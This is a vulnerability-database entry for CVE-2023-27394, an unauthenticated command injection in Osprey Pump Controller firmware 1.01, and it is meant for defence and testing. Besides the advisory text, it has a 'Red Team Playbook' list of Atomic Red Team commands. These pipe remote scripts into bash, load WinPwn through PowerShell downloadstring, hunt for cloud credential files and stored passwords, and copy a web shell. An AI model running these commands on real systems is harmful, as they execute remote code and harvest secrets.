CVE-2023-27394
Overview
The vulnerability is an unauthenticated OS command injection in ProPump and Controls, Inc. Osprey Pump Controller firmware version 1.01. It arises from insufficient input validation of HTTP GET parameters processed by specific PHP scripts. The affected components are the DataLogView.php, EventsView.php, and AlarmsView.php scripts, which directly incorporate user-supplied input into system command execution without sanitization.
Vulnerability Description
Osprey Pump Controller version 1.01 is vulnerable an unauthenticated OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands through a HTTP GET parameter called by DataLogView.php, EventsView.php and AlarmsView.php scripts.
Impact
An unauthenticated attacker with network access can exploit this vulnerability to execute arbitrary shell commands on the Osprey Pump Controller, potentially gaining full control over the device. This can lead to unauthorized data manipulation, disruption of pump operations, or pivoting within the industrial control network. No user interaction or prior credentials are required, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N, resulting in high confidentiality, integrity, and availability impact.
Solution
ProPump and Controls, Inc. recommends updating the Osprey Pump Controller firmware to a patched version that addresses this command injection vulnerability, as detailed in the CISA ICS Advisory ICSA-23-082-06 (https://www.cisa.gov/news-events/ics-advisories/icsa-23-082-06). Users should consult this advisory for specific patch versions and installation instructions. Until patched, restricting network access to the affected device and disabling HTTP GET access to the vulnerable scripts may serve as temporary mitigations.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The Osprey Pump Controller version 1.01 is susceptible to a critical unauthenticated OS command injection vulnerability that allows attackers to execute arbitrary shell commands. This flaw arises from improper handling of user-supplied input within specific PHP scripts, namely DataLogView.php, EventsView.php, and AlarmsView.php. The vulnerability is triggered through HTTP GET parameters, which can be manipulated by an attacker to inject malicious commands. The lack of authentication checks further exacerbates the issue, as it permits unauthorized users to exploit the vulnerability without needing valid credentials, thereby significantly lowering the barrier to entry for potential attackers.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a specially designed HTTP request that includes malicious commands in the parameters of the affected scripts. Upon receiving this request, the vulnerable application would execute the injected commands on the server, potentially leading to a full compromise of the underlying operating system. Scenarios may include retrieving sensitive information, altering system configurations, or even deploying additional malware. The ease of exploitation, combined with the lack of authentication, makes this vulnerability particularly dangerous, as it could be executed remotely by anyone with knowledge of the affected system's URL structure.
The real-world impact of this vulnerability is profound, particularly for organizations relying on the Osprey Pump Controller for critical operations. An attacker gaining control over the pump controller could disrupt water management processes, leading to operational downtime, environmental hazards, or even public safety risks. Furthermore, the ability to execute arbitrary commands could allow attackers to pivot to other systems within the network, escalating their access and potentially leading to data breaches or further infrastructure compromise. The business risks associated with such an incident include financial losses, reputational damage, regulatory penalties, and the costs associated with incident response and recovery efforts.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular security assessments, including vulnerability scanning and penetration testing, should be conducted to identify and remediate weaknesses in the system. Network intrusion detection systems (NIDS) can be employed to monitor for unusual traffic patterns indicative of exploitation attempts. Additionally, applying strict input validation and sanitization measures can help prevent command injection attacks. Organizations should also consider implementing web application firewalls (WAF) to filter and monitor HTTP requests, blocking those that exhibit malicious characteristics. Finally, updating to a patched version of the Osprey Pump Controller firmware, if available, is crucial to eliminate the vulnerability altogether.
In conclusion, the unauthenticated OS command injection vulnerability in the Osprey Pump Controller poses a significant threat to organizations that utilize this technology. The potential for remote exploitation without authentication, coupled with the severe consequences of a successful attack, underscores the need for immediate attention to security practices. By adopting comprehensive detection and mitigation strategies, organizations can better protect their systems and reduce the risk of exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Propumpservice | Osprey Pump Controller Firmware | 1.01 |
cpe:2.3:o:propumpservice:osprey_pump_controller_firmware:1.01:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-27394 |
| cisa.gov |
GitHub CVE
|
https://www.cisa.gov/news-events/ics-advisories/icsa-23-082-06 |